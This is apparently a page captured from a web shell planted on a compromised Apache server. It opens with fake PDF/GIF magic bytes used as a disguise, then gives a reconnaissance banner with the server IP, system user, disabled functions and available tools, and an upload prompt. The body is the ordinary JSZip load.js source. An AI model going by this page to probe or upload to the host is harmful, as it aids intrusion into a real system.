%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.23 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/jszip/lib/ |
Upload File : |
'use strict'; var base64 = require('./base64'); var utf8 = require('./utf8'); var utils = require('./utils'); var ZipEntries = require('./zipEntries'); module.exports = function(data, options) { var files, zipEntries, i, input; options = utils.extend(options || {}, { base64: false, checkCRC32: false, optimizedBinaryString : false, createFolders: false, decodeFileName: utf8.utf8decode }); if (options.base64) { data = base64.decode(data); } zipEntries = new ZipEntries(data, options); files = zipEntries.files; for (i = 0; i < files.length; i++) { input = files[i]; this.file(input.fileNameStr, input.decompressed, { binary: true, optimizedBinaryString: true, date: input.date, dir: input.dir, comment : input.fileCommentStr.length ? input.fileCommentStr : null, unixPermissions : input.unixPermissions, dosPermissions : input.dosPermissions, createFolders: options.createFolders }); } if (zipEntries.zipComment.length) { this.comment = zipEntries.zipComment; } return this; };